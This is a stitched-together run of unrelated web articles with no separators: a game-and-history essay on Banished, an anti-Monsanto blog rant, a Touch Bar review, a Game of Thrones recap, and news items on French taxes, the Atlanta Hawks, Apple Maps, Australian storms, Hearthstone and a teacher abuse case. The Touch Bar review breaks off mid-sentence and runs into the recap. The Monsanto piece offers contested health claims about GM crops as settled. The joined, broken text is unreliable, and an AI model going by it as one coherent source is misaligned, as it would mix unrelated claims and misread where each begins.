For all its mythologies and myopias (some reasonable, others problematic), Banished captures the logic of that historical moment in its central systems. While at first blush, the game’s main challenge–don’t let your population growth exceed your food supply–feels Malthusian, the turning point in Malthus’ equation (when population exceeds carrying capacity) is hard to reach. Most villages fail early, when the map is still covered in mushrooms, berries, deer, and fish, just waiting to be harvested. It is a shortfall of labor, not resources, that drives death in Banished. A temporary shortage of food, firewood, or tools can all cause death spirals: as villagers begin to starve or freeze to death, their absence makes it increasingly hard to recover the necessary supplies, no matter how much food might be left in the fields.
Conversely, as long as you have the labor, you can always increase production, a point the mechanics emphasize in several ways. Food and timber occur in the wild but in lower densities than in crop fields and timber plantations. Both harvesting and processing stations can be staffed with varying numbers of workers. The game suggests an optimum, and while going above that value will yield diminished marginal returns, it is possible to increase yield by increasing labor, within some limits. This logic of intensification follows a correction Esther Boserup made to Malthus’ formula. For humans, Boserup argued, population growth can provide for its own needs by intensifying food production per unit of land. Of course, there are physically limits to that intensification–historically it has held true, but because of a massive influx of fossil energy, not in the strict labor:yield relationships Boserup had in mind. However, it is a very relevant description of colonial agricultural economics.
During the colonial period, Europe was dense with people and sparse in natural resources. Manufactured goods were relatively cheap, while natural resources requiring unmanaged landscapes, like furs, large trees for ship masts, and bark for tanning leather, were expensive. But upon arriving in America, colonists experienced a sudden reversal of the familiar press for land. George Washington articulated the novelty: “The aim of farmers in this country is, not to make the most from the land, which is or has been cheap, but the most of the labor, which is dear.”
That land-labor relationship meant that production was extensive–only selling the biggest, highest-value trees, for instance, and wasting much of the rest–and made no use of techniques European farmers used to maintain the value of their farmland. Spreading manure, fallow periods, and crop rotation were luxuries labor-starved Yankee farmers couldn’t afford. Fortunately, in Banished there are quite literally no negative consequences of deforestation and intensive agriculture–stocks of land, fish, and deer are limited, but not exhaustible. Soil fertility doesn’t need to be maintained, and yield retains a constant relationship to labor. Despite its harsh man vs nature living-on-the-edge framing, it’s hard to overstate just how forgiving the environment in Banished is–trees leave no stumps to be cleared for farmland, wild animals don’t eat crops, and mills can be powered by standing water.
But if yield doesn’t fall over time, that just puts off the inevitable problems that come when population nears the capacity of the land to support it. (While it is relatively easy to stabilize population at or before that point, given the game’s themes, we can take the accessibility of population control as more about managing growth rate than achieving a limited population per se). This is the moment when the relationship between land and labor is inverted, and the challenges of managing production change. I’ve never reached this point myself–I don’t have the patience to get that far. In my experience, things quickly lost tension and interest after I was out of the desperate early days and my labor pool was large enough to cover emergency shortages. Banished, I concluded, was about frontier scarcity and growth, and anything that happened after that wasn’t really part of the design.
The Colonial Charter Mod tries to address this issue, adding a tremendous variety of manufactured goods, as well as the raw materials and processing structures necessary to produce them. Building their complicated and expensive production chains provides a medium term goal, but unlike most items in the base game, they don’t supply any pressing demand–they’re solutions without problems. The mod thus allows a kind of historical roleplay, almost a boutique economy, but it doesn’t in itself address the issue of meandering late-game economic challenge.
An authentic colonial-period winery, at home in any coastal tourist city.
Plowing the Fields of International Markets
So in the first draft of this piece, I ended on the conclusion that Banished was an effective model of the Colonial frontier economy, but that its late game play foundered because it showed no interest in the way the economic challenges changed as land was exhausted and labor became plentiful. Hodorowicz expressed uncertainty that the game would even run with most of the map in production, so I was confident in dismissing anything that might happen late in a game when land was scarce as outside the game’s problem space.
Before finishing up and sending off that first draft, though, I went to the Banished subreddit and asked if anyone knew what happened when you filled up the map. I wasn’t surprised to learn that plenty of people had achieved this feat of persistence, but I was a bit surprised by what they had to report. Trade is a pain in the ass in Banished, with traders arriving irregularly and infrequently, stymying attempts to set up a regular flow of goods. Using trade to solve a shortage in the early game is an exercise in futility; if you haven’t solved it yourself by the time the trader comes, you’ve probably lost anyway. In the mid game, they don’t really even carry large enough loads to be worth relying on. But apparently, through an elaborate process of building trading ports, manually placing requests for small loads of goods, and waiting for them to accumulate until trade volume is meaningful, it is possible to make trade a viable basis of the economy.
As land becomes scarce, then, low-value land uses were forced out and more and more land-intensive raw materials are acquired through trade. Eventually, to survive in a high-density map, players have to shift to a processing-only economy, importing things like fruit, wool, and iron and exporting wine, coats, and tools. The fact that the easiest way to achieve this in Banished is by importing logs and exporting hand-chopped firewood suggests that the game doesn’t have a particularly realistic cost of shipping, but that’s a question of calibration.
The commercial lumber yards and shipping canals of 1800s Chicago.
The wood cutting lots and shipping canals of Urbania IV.
Extreme self-sufficiency is a central part of the frontier myth Banished seeks to recreate. The historical economy of New England, however, was driven more by demands for a British quality of life and the manufactured goods that it relied on than by the productivity limitations that obtain in Banished. Colonists weren’t just trying to stay warm and fed; they were trying to do whatever they could to get enough money to afford British imports. Conversely, the British government saw the colonies as a market for British exports–a place where British companies could sell goods without competition from foreign manufacturers–making the colonies a captive market and driving up the amount of furs, timber, and grain they had to scrounge up to buy their cloth and tin. While players in Banished make choices based on building a surplus to survive the next winter, colonists in New England were strongly influenced by European (and Caribbean) markets.
Interestingly, while Hodorowicz doesn’t seem to have planned for a late game economy, its patterns that emerge mirror the historical role of international demand more directly than the more explicitly designed early game. As land prices increased and farm yields declined in New England, and particularly as populations grew to the point that sons could no longer inherit large enough chunks of farmland to make a living, excess labor was devoted to other kinds of work. Farmers and their wives made combs, furniture, and shoes by candlelight in the winter months. The shoe industry was a particularly successful trade, and New England went from an exporter of leather to a net importer as it grew. Soon thousands of people were doing piecework at home, shipping loads of shoe parts off to be assembled by other workers and sold by still others. This is the moment where Banished stops, when many people were working in manufacturing but the technology for mechanized production didn’t exist (though the Colonial Charter mod does follow a few industries to their logical next step: water-powered mills).
From the perspective of Banished’s clipped map, this shift from farming to manufacturing can be thought of as farming external demand instead of land. Despite its inconveniences, trade in Banished has its own unrealistic benefits. Prices are permanently fixed and demand is infinite, so there’s no risk that the market for your exports might collapse due to competition. And there are plenty of forces active in this scenario that Banished doesn’t touch on–most importantly, migration. The pressure to open land held by Native Americans and protected by the British contributed to the tensions that led to the Revolutionary War. But overall, it’s remarkable how well Banished’s late game economy fits the historical progression of frontier economic development in Colonial New England. It’s a testament to the robustness of Hodorowicz’s model, and hints at its potential as a template for games set in systems even more distant from the vaguely mythical frontier it tackles.Soybean field in Kentucky, photo: Brian Bennett/Creative Commons
I'll say it bluntly and blanketedly: I can't stand Monsanto, even separate from my disdain for GM crops--they are a perfect example of the worst excesses of opaque corporate shenanigans that, alongside outright political dictatorship and oppression, are direct threats to true democracy.
Here's the source of that brief rant: As TruthOut highlighted earlier in the week, the Monsanto Technology Stewardship Agreement (the name itself is Orwellian in it's use of language to obscure and not illuminate) indemnifies Monsanto against "any and all losses, injury or damages resulting from the use or handling of seed (including claims based in contract, negligence, product liability, strict liability, tort, or otherwise)...in no event shall Monsanto or any seller be liable for any incidental, consequential, special, or punitive damages." Which would be bad enough, but even if you terminate your contract with Monsanto, "Grower's responsibilities and the other terms herein shall survive."
If a Monsanto GM Crop Causes Damage, Monsanto Off the Hook
One current example of application of this: Say the new research showing that roundup ready GM crops may cause animal miscarriages is confirmed and that animal miscarriages can be directly linked to use of GM alfalfa. You're a farmer and started knowingly using the feed but were assured it was safe. Now your animals start miscarrying. Besides the death of the animal, that's also a monetary loss. And you can't go after Monsanto for any loss whatsoever.
Beyond the issue with the crop itself, it's just disgusting to me that the manufacturer entirely refuses to acknowledge responsibility for potential harm caused by its product. It's utterly ridiculous.
Read more: TruthOut
More on Genetically Modified Crops:
Monsanto Continues to Block Independent Analysis of GM Crop Safety
New Research Finds That Roundup Ready GMO Crops May Cause Animal MiscarriagesThis may be a controversial opinion, but I like Apple’s Touch Bar and believe that those who question its utility, haven’t had a chance to try it yet.
However, as it stands right now, the Touch Bar doesn’t work exactly how Apple envisions it, and some apps, especially first-party developed ones, don’t use the Bar in a way that will work for all users.
Glow bright
Most onlookers will see Apple new MacBook Pros as the company’s way of competing with the likes of Microsoft and its Surface lineup, even if the company is doing so on its own terms. The Touch Bar does not turn Apple’s MacBook Pro line into a laptop-tablet hybrid like the Surface. Instead, it maintains the wall of separation between iOS and macOS that Apple says it will never tear down, even as it adds a new wrinkle to how macOS works.
Sure, this feature has been attempted before by companies like Razer, which should come as a surprise to no one given Apple rarely comes up with completely original ideas. What the tech giant does do, however, is take concepts other companies have already attempted, and improves and builds upon them. In the case of the Touch Bar, this is exactly what Apple has done.
The advantage Apple’s Touch Bar presents over past iterations of this idea is that it’s built into all of the company’s higher-end Pro offerings. More importantly, the software that powers the Touch Bar is baked directly into macOS. This gives developers a viable platform to build from, which means if the concept of a contextual, always-changing touchscreen is going to prove successful, just like it did when the iPhone revolutionized how we interact with our mobile devices, Apple’s new MacBook Pro line has the best shot at doing so.
How it works
While the Touch Bar features a 2170 x 60 OLED panel, it doesn’t look or feel like a traditional touch screen. My finger slides across its surface with ease, moving from left to right with a slight glide. In fact, the Touch Bar is so slick that it almost feels greasy, which I found off-putting at first, though after spending a few days with the 13-inch MacBook Pro equipped with the Touch bar, it grew on me.
Depending on which app you’re using and what is going on within that app, different options display across the Touch Bar. As expected at launch, few third-party apps support the Bar, though this creates more problems than it probably should.
In its standard configuration, the Touch Bar is mostly a blank canvas with the exception of shortcuts that provide control over the computer’s sound volume, brightness and quick access to Siri, all located on the far right side of the screen. I customized this feature to include the ability to snap a screenshot, shift screen brightness and alter sound volume (not sure why you would add those when the options are already there?). Tapping an expand arrow on the left-hand side of the screen opens up the full set of standard Mac function keys many will find familiar, including one’s that control media playback backlit key brightness.
The issue here stems from the fact that the additional step of pressing the arrow key is always required for the full function bar to show up, even when you’re using an app that doesn’t currently feature Bar functionality like Chrome or Spotify. Apple should have given users an option to always display the full Touch Bar, rather than this limited version. It’s possible to make the full Touch Bar the default, but doing so removes the ability for the screen to shift to contextual buttons when the user is in an app that supports the functionality, defeating the purpose of the Touch Bar altogether.
When more developers begin supporting the Touch Bar, this problem will become less of an issue. Currently, however, the system feels convoluted. For example, if I’m listening to Spotify and don’t have the Touch Bar’s function keys expanded, I don’t have the ability to skip tracks or pause music directly at my fingertips.
The level of customization present in the Touch Bar in its current iteration is impressive, allowing users to pin the functions they want in specific locations, especially when Finder is open. The ability to set the Bar for specific needs for every app, however, is necessary, especially in this interim period where few apps support the Touch Bar. Hopefully, this functionality is added in a subsequent macOS software update.
Where it works
Where the Touch Bar really comes alive is when you use it with one of Apple’s own apps. Currently, that list includes Mail, Notes, Photos, iMovie, Garage Band and Final Cut Pro X. This means that in order to take advantage of the Touch Bar right now you need to have bought into both Apple’s hardware ecosystem and its software ecosystem.
In my case, this creates issues. While I often find myself using an iPhone or Mac as my primary computing devices, I live in a Google services ecosystem. This means that, for example, Gmail and Keep are my preferred programs rather than Mail and Notes. This will likely change in the future once Google updates Chrome as well as its other apps to support the Touch Bar, but the current situation is less than ideal.
In Mail, the Touch Bar offers users a number of options for common actions, most of which weren’t that hard to reach in the first place. Replying to emails and navigating by week or month can easily be performed with the Touch Bar, though these tasks can just as easily be accomplished with the keyboard.
Where the Touch Bar makes more sense is when it comes to Final Cut Pro X, creating a natural more fluid scrubbing experience. Rather than scrolling with a mouse or trackpad |
dwell on the book differences (which are increasing at a steady rate, as we need to avoid scenes with giants, mammoths and Ghost as much as possible to keep the CGI budget tight).
In case you didn’t get the grammatically sound “Fewer” reference, Stannis made the same remark in season 2, when he corrected Davos’ “Four less fingernails to clean”. This is a show-only scene, and in a way a replacement for Stannis’s book persona, shooting dry one-liners at each step. Maybe the show-only audience wasn’t supposed to like him until now. One way or another, he’s very close in character to the original, and using the modern “grammar nazi” trope is a way to make the viewer understand him.
The dialogue between Sam and Gilly is in a way a parallel of the contrast between the readers and non-readers. Even the mention of Oldtown bears value, as it’s the setting of the prologue to A Feast for Crows and the showrunners might be joking about abandoning that location altogether. Also, I can’t believe we’ve missed the opportunity to hear from Stannis the line “Her own father got this child on her? We are well rid of her, then. I will not suffer such abominations here. This is not King’s Landing” about Gilly.
Samwell’s father, Randyll Tarly, is one of the top bannermen to the Tyrells, who have openly supported the Targeryens during Robert’s Rebellion. The Tyrells and the Martells were the only major families to fight against Robert, as the Starks, Tullys and Arryns supported him, and Lannisters remained neutral until the last minute. The Battle of Ashford was an indecisive victory of the loyalist forces, but a victory nonetheless, and the Tyrell forces had proceeded towards Storm’s End, laying siege to Stannis until the very end of the war. Meanwhile, Robert had moved north to meet up with the rest of the rebellion – the combined Stark, Tully and Arryn forces. In case you’ve wondered how on earth someone as adorably naive as Mace Tyrell controls of the most prominent military forces in Westeros, well, let’s just say his bannermen are outstanding enough to make up for his goofiness.
Home Sweet Home
You shouldn’t be here.
Theon Greyjoy to Sansa Stark, tingled by the book continuum
The changes to what is now the Winterfell subplot are so drastic that I’d have to cover two separate stories to do it justice. Let’s just sum up the most important points.
First, as mentioned before, Brienne and Sansa are elsewhere. In the show, Sansa takes over the role of Jeyne Poole, a girl who used to be Sansa’s handmaiden and her best friend, and is currently pretending to be Arya Stark and about to marry Ramsay Snow; meanwhile Brienne appears to be filling in for nobody else than Mance Rayder, very much alive and uncooked in the books, thanks to a magical masquerade that Melisandre has performed, covering Mance’s appearances with a glamour. Mance is sent to Winterfell with an undercover mission to rescue “Arya” (since Jon and Melisandre don’t know the truth) and it’s worth noting that he has already succesfully infiltrated that castle beforehand. What’s even more peculiar is that he did it during King Robert’s visit, and that would be Season 1, Episode 1.
Enough with the chain of trivia. By cutting out the Riverlands and the Eyrie, the showrunners have saved lots of time and tied the Bolton storyline more tightly. It’s worth noting that ADWD is the first moment when we actually get to meet the Boltons, and in the show we’ve already had them for good two seasons. By throwing Sansa and Brienne into that pot, we’re tightening the grip on the plot and surely accelerating it way forward. And by “forward”, I actually mean “way ahead of the books”. There are bits and pieces from the source material being adapted, but other than that, even Myranda’s character is a show-only addition.
There is also an obvious connection between the two scenes in the last episodes: Roose’s with Ramsay and Stannis’s with Shireen. Both are stern, pragmatical people, willing to go to great lengths to achieve their goals. Both have accepted their children despite the circumstances not being perfect for it, and both are admired and feared at the same time.
The Gargoyles
Long, sullen silences and an occasional punch in the face. The Mormont way.
Tyrion Lannister, appreciating a good bear punch even when he gets to take one
This scene, however I might critique it, was a brilliant piece of in-show trivia. The books never actually showcase Valyria, having Jorah and Tyrion take a different way, and these lands are just as mysterious to the reader as the stories Tyrion bring up portray it – a smoking sea of volcanoes, still as dreadful as the day the Valyrian Freehold collapsed into the sea. We hear the legends of people lost in there, we hear a character brag about sailing through there – but never see it through the eyes of a POV character. Even the show established that location in season 2, when Quaithe, the masked woman from Qarth, tatooed a man who was going to sail through Valyria with protective charms.
What was the Doom? Nobody has a certain answer, although from what we know we might as well assume it involved volcanoes. The question here would be not what happened, but rather why it happened – this could have been a natural disaster, but in a land of magic and dragons, other forces might be involved. The interesting thing about Valyria, however, is that Targaryens were a distant settlement at Dragonstone that miraculously survived away from the Doom. It wasn’t even until a hundred years after the cataclysm that Aegon the Conqueror set his foot in Westeros mainland in the place that would later be known as King’s Landing.
Considering Valyrian architecture, the show has it clearly based on Ancient Rome due to historical similarities (fallen empire, cultural expansion, ancient tongue), but the books imply a more gothic style that the show has already presented in Dragonstone – a castle built by Valyrian masons themselves.
As for the Stone Men, here’s where I praise the scene even more, as not only did it drop a huge piece of backstory, but it also incorporated one of key points of Tyrion’s adventure, when he’s ambushed by the Stone Men and thrown into the river Rhonye on his way to Volantis. The man who saves him, Jon Connington, AKA “Griff”, is seemingly written out from the show, but, just like Jorah here, Griff contracts greyscale. What we’re witnessing right now is Jorah absorbing character traits of quite a few book characters, and nothing feels out of place (the Greyscale even had a good bit of buildup in the previous episodes). I wouldn’t rule out him taking over Barristan’s chapters from ADWD in the future. All in all, the writing, even if imperfect, has been surprisingly well-thought and consistent.
Footnotes
This is one of the very few episodes in the history of the show that didn’t include King’s Landing at all. The others are “The Kingsroad”, “The Bear and the Maiden Fair”, “The Rains of Castamere” and “The Watchers on the Wall”. Excluding the Wall-only episode, it’s the only episode ever to feature neither King’s Landing nor the Riverlands.
That concludes this week’s followup. The interest seems to slightly diminish, but as long as there are any people interested at all (and I find the time), I’ll be here for you every week. See you guys next time!
I’m open for the suggestions on the Sunday piece – yesterday it was about the missing persons, what would you want to see next week? Feel free to leave your comments here or at Reddit.The French government has presented its 2013 budget, which includes tax increases on the wealthy and on businesses in an effort to meet deficit-reduction targets.
Friday's announcement of France's toughest single belt-tightening in 30 years was the first budget presentation for Hollande since his election in May.
The package will recoup 30bn euros in savings with a goal to reduce the deficit to three per cent of Gross Domestic Product (GDP) in 2013, from a forecast of 4.5 per cent this year.
President Francois Hollande's cabinet defended the spending plan for next year, calling it a "fighting budget" that would win the "battle" against joblessness and help growth.
"If we abandon this goal, right away the rates will rise and then we will be in the same situation as Italy, in the same situation as Spain, and I do not want that," Jean-Marc Ayrault, the prime minister, said vowing the deficit will be met.
France's 2013 savings 10bn government spending cuts
10bn new taxes on households including higher income tax bands
10bn taxes on business
6bn taxes already passed in parliament
TOTAL: 36bn euros Al Jazeera speaks to former Le Monde editor
To reach the goal, officials have said the budget will target 10bn euros in extra taxes on high-income households, 10bn from taxes on businesses and 10bn in spending cuts.
"The debt, which keeps going up and going up, has to end. [It] has gone up by 30 per cent in five years. This is unsustainable.Paying back [the] interest is the biggest cost we have. We want to put an end to this", Ayrault said on Friday.
The French prime minister also stood by the government's growth forecast of 0.8 per cent for 2013, saying it was "realistic" and "attainable" despite concerns from some economists that the forecast is too optimistic.
The budget is expected to introduce a fiscal reform taxing capital gains, interest and dividends as regular income, as well as a populist move to impose a 75 per cent tax rate on incomes above one million euros.
Ayrault said the increases would affect only the top 10 per cent of French taxpayers, a "small minority" of two to three thousand taxpayers.
"In constant incomes, nine out of 10 French taxpayers will not be affected by the tax increases," he said. "These new measures spare the middle and working classes."
After defeating incumbent Nicolas Sarkozy on a growth and jobs platform, Hollande has been keen to avoid any appearance that his government is pushing austerity.
But with unemployment steadily on the rise - joblessness topped three million for the first time in more than a decade in August - Hollande is under increasing pressure to deliver on his vision as his popularity wanes.
Hollande had promised to deliver 150,000 new jobs, Al Jazeera's Nadim Baba reported from Paris.
Though Hollande had promised to tackle France's economic problems, his government "can't really do much about some things, like the lack of growth this year" or recent factory closures, both problems the Hollande administration said they "inherited" from the previous government, our correspondent said.
The second quarter of 2012 marked the third consecutive quarter of stagnation for France, the second biggest eurozone economy.In legal quarters they call it “irreconcilable differences,” the basis for granting dissolution in no-fault divorce states.
Neither Josh Smith nor anyone in the Atlanta Hawks’ front office is willing to publicly admit that their relationship has moved into the realm of “irretrievable,” but some of us recognize the obvious. It’s time for a clean break for both sides.
Smith was tossed out of practice Tuesday, fined and then suspended for Wednesday’s home game against the Brooklyn Nets for conduct detrimental to the team. Smith was suspended by the team earlier in his career for a similar transgression, when he lit into then-Hawks coach and current Knicks coach Mike Woodson, so his critics will surely point to the fact that he has a history of acting out this way.
Sure, he made a statement apologizing and articulating all of the right things:
“Clearly I am competitive and was frustrated by our recent losses,” Smith said in a statement released by the team. “I understand and respect the team’s actions and just want to get back on the court to do whatever is necessary to help my teammates. I apologize for letting them down and apologize to our fans for not being available for tonight’s game.”
But it still doesn’t resolve the lingering issue that has been there from the day this hastily arranged marriage between the enigmatic hometown kid and the beleaguered franchise was consummated on Draft night 2004.
Smith wasn’t supposed to last until the 17th pick that year. But his stock plummeted on the eve of the Draft based on whispers at workouts that he didn’t show up with the best attitude and energy in some places. We all remember what happened on Draft night, when ESPN analyst Jay Bilas smashed him before he could pull that Hawks hat down tight over his head.
Nearly nine years later, Smith has done plenty to prove his doubters wrong. At 27, he’s become one of the most versatile and productive power forwards in the league, a player with All-Star credentials who has never actually made an All-Star team. We could debate the reasons for that another time, say next week when he probably misses out again despite leading his team in scoring (16.5) and blocks (2.3) while also averaging 8.3 rebounds and 3.7 assists.
His production isn’t the issue. Everything else is. Instead of being a fan favorite, no player sends a more divisive shiver through the Philips Arena crowd than Smith does. The fans don’t agree with his preferred playing style and they’re not afraid to let the world know about it. Any shot of his from outside 12 feet is usually accompanied by a collective groan at the building some like to refer to as the “Highlight Factory.”
A fixture in trade rumors since his second season in the league, Smith, a free agent at season’s end, finds himself smack in the middle of those trade crosshairs once again. His representatives insist that he is not interested in forcing a trade by the Feb. 21 trade deadline. “I want to be clear that I’m not pushing a trade,” Wallace Prather told Ken Berger of CBSSports.com. “This is not a trade request or anything, but there are frustrations in Atlanta.”
Smith is never going to turn his back on his hometown. He’s never going to come out and proclaim his desire to play elsewhere. And no general manager the Hawks have employed, from Billy Knight (who drafted Smith) to Rick Sund (who refused to come up with a contract for Smith and eventually matched a $58 million offer sheet from the Memphis Grizzlies to keep him in the fold) to current boss Danny Ferry has exhibited any desire in meeting the Smith camp halfway in NBA divorce court.
The Hawks have All-Star big man Al Horford to work with, as well as standout guards in Lou Williams and Jeff Teague. They have a decision to make about the future of coach Larry Drew, whose cause Smith championed when no other Hawks player did when Woodson’s contract wasn’t renewed, as well. The Hawks can take all of the cap space they’ve accumulated and rebuild with or without Smith.
Smith is still young enough to start over somewhere else and continue to play in his prime, working as a productive piece for a playoff team in a city that doesn’t possess the inherent pitfalls of his beloved hometown.
Both sides need a fresh start. That much is obvious to us all.
Now, who has the courage to admit it by Feb. 21?
Category: HT News / Tags:, Al Horford, Atlanta Hawks, Danny Ferry, Jay Bilas, Jeff Teague, Josh Smith, Larry Drew, Lou Williams, Mike Woodson, Sekou Smith, Wallace Prather / 83 Comments on Smith, Hawks Headed For Divorce? /Rough mockup showing the user-enabled 3D mode (on the right)
According to trusted sources, Apple has an incredible headline feature in development for iOS 6: a completely in-house maps application. Apple will drop the Google Maps program running on iOS since 2007 in favor for a new Maps app with an Apple backend. The application design is said to be fairly similar to the current Google Maps program on the iPhone, iPad, and iPod touch, but it is described as a much cleaner, faster, and more reliable experience.
Read on after the break for all of the details!
While Apple has always had full control of the actual iOS Maps application design, the backend has belonged to Google. That will change with iOS 6 thanks to their purchases of Placebase, C3 Technologies, Poly9 and several A Plus Computer Support service locations; acquisitions that Apple has used to create a complete mapping database. Now that the application is fully in-house, it is being referred to simply as “Maps” (some people call the current version Google Maps because of the backend). We reported prior to the launch of iOS 5 that Apple and Google had extended their Maps deal, and now it is obvious when that deal ends.
Signifying the application’s complete re-write is a new logo for iOS Maps: it is basically a redesigned version of the current iOS Maps icon with a view of Apple’s 1 Infinite Loop Campus, but redrawn with a new color scheme. Apple’s replacement for Google Street View will likely also be an in-house solution. C3 Technologies worked on street view capability as shown in the image above.
The most important aspect of the new Maps application is a powerful new 3D mode. The 3D mode does not come enabled by default, but users simply need to click a 3D button that is conveniently and visibly stored in the app. Perhaps under the fold like the current traffic, pin, and map view buttons. This 3D mode is said to essentially be technology straight from C3 Technologies: beautiful, realisitic graphics based on de-classified missile target algorithms. This is how the Apple acquired company C3 Technologies described their technology:
C3 Technologies is the leading provider of 3D mapping solutions, offering photo-realistic models of the world for search, navigation and geographic information systems. Since 2007 when it was spun out of the aerospace and defense company Saab AB, venture-backed C3 has redefined mapping by applying previously classified image processing technology to the development of 3D maps as a platform for new social and commercial applications. The Sweden-based company’s automated software and advanced algorithms enable C3 to rapidly assemble extremely precise 3D models, and seamlessly integrate them with traditional 2D maps, satellite images, street level photography and user generated images, that together are forever changing how people use maps and explore the world.
Video: What the Hoover Dam will look like on the iOS 6 3D Map mode
On the topic of C3 technologies, a few weeks ago we heard that most of the C3 Technologies top executives that came to Apple as a part of the acquisition have left for new opportunities. It is common sight in the Silicon Valley to see acquired team members leave companies once their “job is done.” The C3 Technologies team leaving just ahead of iOS integration would be similar to Siri co-founder Dag Kittlaus leaving following Siri’s launch on the iPhone 4S late last year.
iOS 6 will likely be introduced at Apple’s World Wide Developers Conference in mid-June. We’ve heard that many versions of what will become a final iOS 6 product have been floating around Apple’s Cupertino labs (the iOS team likes to work on many projects and then pull them all together at the end of a development cycle), but those expecting major home screen changes or Android-like widgets might be disappointed… briefly, anyway.
Related articlesMedia playback is unsupported on your device Media caption One of the homes on Sydney's Collaroy Beach lost its swimming pool to the storms
Exclusive homes located on Sydney's Collaroy Beach are in danger of collapsing after high tides and huge waves caused severe erosion for a second night.
Collaroy Beach has narrowed by up to 50m following a massive storm that hit Australia's east coast.
Four people died in the storms and another three are still missing.
Conditions eased in the state of Tasmania on Tuesday and the worst of the weather has passed.
Australia battered by deadly storms
'Creaking and groaning'
Image copyright Google Maps/UNSW Image caption Before and after images of the bay show destroyed properties and the loss of beach
The multi-million dollar waterfront properties on Collaroy Beach lost backyards, decks and a swimming pool after 13m-high waves and a spring tide - known as a king tide in Australia - pummelled the beach.
A second spring tide hit the beach on Monday night, eroding the sand by another 5m and causing additional damage to the houses. A further spring tide is expected on Tuesday night.
Image copyright UNSW Water Research Laboratory Image caption Areas that were previously grassy backyards have been washed away, with the beach dropping up to 5m in places
Prof Ian Turner, the director of University of New South Wales' Water Research Laboratory, was at the beach on Monday night and said it had narrowed by about 50m, and it was clear a number of homes were badly damaged.
"We could hear [the houses] creaking and groaning. Some of them have clearly suffered a degree of structural damage," Prof Turner said.
"They will require a very careful look before people can go back inside them."
Prof Turner said surveys indicated sand levels on the beach had dropped between 2m and 5m, with 150 cubic metres of sand stripped for every metre along the beach.
Image copyright UNSW Water Research Laboratory Image caption Waterfront homes on Sydney's Collaroy appear to have suffered structural damage after 50m of the beach's width was washed away
Engineers will assess damage to the houses before property owners are allowed to return.
The Insurance Council of Australia told the Australian Broadcasting Corp that many insurance companies excluded actions by the sea from policies.
This means it is likely that at least some of the damaged properties are uninsured.
Death toll grows
On Tuesday, the body of Mary Kathleen Allford, 75, was found at Latrobe in northern Tasmania.
Image copyright Getty Images Image caption The island state of Tasmania suffered extensive flooding, with warnings issued for all river basins
Rescuers were not able to save Mrs Allford after her home was inundated, but managed to rescue her husband through the property's roof.
Three other confirmed deaths in New South Wales and the Australian Capital Territory occurred after vehicles were caught in floodwaters.
Three people are still missing, including Trevor Foster, who was swept into Tasmania's Ouse River from his own backyard on Monday.
Media playback is unsupported on your device Media caption The sea foam phenomenon is relatively rare, it only occurs when a very big storm or cyclone hits the area
Also missing is a man who reportedly jumped into rough seas off Bondi Beach.
Flood warnings remain in place for three rivers in Tasmania, with residents of Invermay and Longford told to evacuate.
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Text us on 61124 or +44 7624 800 100 if you are outside the UKBlizzard is currently celebrating all of its various games and products on stage at its annual BlizzCon event, and Hearthstone fans were given their share of the action with the announcement of a new single-player adventure, The League of Explorers. It'll become Hearthstone's third single-player expansion and fifth expansion overall. Blizzard first experimented with the form with Curse of Naxxramas in July 2014, and the company released follow-up Blackrock Mountain in April of this year.
Hearthstone's single-player adventures take players through a series of progressively difficult "wings" and reward them with zany legendary cards for their efforts. They also include groups of "class challenges" that invite players to complete battles using strange, specific pre-constructed decks. The League of Explorers will be framed around a treasure hunt for something called the Staff of Origination, a "priceless, ancient artifact." Most of its cards have yet to be revealed, but they'll introduce a new mechanic called Discover that allows players to "dig up cards and select the one [they] need the most."
If you're a Hearthstone fan, you won't have to wait long to join the expedition — the adventure's first wing is going to be made available next Thursday.The Brentwood special education teacher convicted of throwing a 5-year-old special needs student onto a classroom floor and kicking him was transferred to another class and not fired because of “legal limitations” on teacher personnel decisions, the district superintendent said Wednesday.
In a case that has sparked outrage, Brentwood Union School District Superintendent Merrill Grant apologized for the actions of special education teacher Dina Holder, 52, of Brentwood, a 20-year teacher in the district.
“The actions that led to the lawsuit are both appalling and upsetting,” Grant said. “I’m a parent in the district and I reacted the same way as the rest of the community … We’re deeply sorry for what this family and child have endured.”
On Friday, the Brentwood school district finalized a $950,000 settlement with Caneel Carlin’s family stemming from a January 2012 lawsuit against the school district, Holder and Loma Vista Elementary Principal Lauri James, claiming battery, negligence, failed mandated reporting duties and other infractions.
Carlin, a 36-year-old Concord resident and mother of the victim, said she reported the incident to police and it was only then that Holder was held accountable for the May 2010 incident at Loma Vista Elementary School.
Grant acknowledged Wednesday police were not alerted by district employees after that incident.
The state requires school employees and other “mandated reporters” who become aware of abuse to notify police or Child Protective Services.
Holder pleaded no contest to a misdemeanor child abuse charge in October 2011 and received four years probation, along with a year of child abuse training and an order to stay away from her victim.
As part of the civil settlement, Holder must leave the classroom, take a desk job and retire at the end of the school year.
However, she still has her credential and could potentially teach elsewhere if hired, said Todd Boley, Carlin’s attorney.
“Hopefully,” the Oakland lawyer said, “prospective employers will Google her name before hiring her.”
Why not fired?
While restricted in what he could say regarding personnel decisions, Grant said once the Loma Vista principal was notified of the incident two days after it happened, Holder was placed on paid administrative leave for the rest of the year — only four school days.
The superintendent said the district, based on legal advice, “pursued all measures available to us to hold the employee accountable. Had there been more expedient measures available, we would have” taken them.
“Teacher dismissals are very complex, very cumbersome and it takes a lot of time,” he said.
The decision was made to transfer Holder to Krey Elementary in Brentwood at the start of the 2011-12 school year to continue teaching special needs children.
“We changed her grade level and placement and provided her proper oversight with many aides for more accountability,” Grant said. He also explained why she wasn’t moved to a desk job at that point.
“I think any option was available … but we felt we had many safeguards in place,” Grant said, including placing adult aides in the classroom with Holder.
Attorney Boley said adding adult aides as “safeguards” made no sense since there were three adult aides in her classroom when she kicked his young client.
Mandated reporting
All school employees who deal with children are “mandated reporters” who must report any suspicions of abuse to police or Child Protective Services immediately by phone, and then through a written report within 36 hours.
Grant acknowledged Wednesday that the principal did not contact police after being notified by aides of the kicking incident.
James did notify CPS, according to testimony, but her verbal report came two days after first learning of the incident and she never submitted a written report, Boley said.
School districts are supposed to provide training so employees can recognize signs of abuse and know their reporting responsibilities. Several high-profile cases in the spotlight recently, including in San Jose and Moraga, revealed how children were subjected to continued abuse because nobody spoke up on their behalf.
Grant said this incident has his district reflecting.
“Yearly they are reminded about it … It’s very much a part of public education, but this gave us pause,” he said. “We have 700 employees and we need to keep them informed.”
‘Appalling conditions’
Parents, aides and other employees interviewed and deposed as part of the boy’s lawsuit portrayed Holder’s “Special Day Class” as a horrifying experience for the children, all aged 3 to 5 and most with severe speech issues.
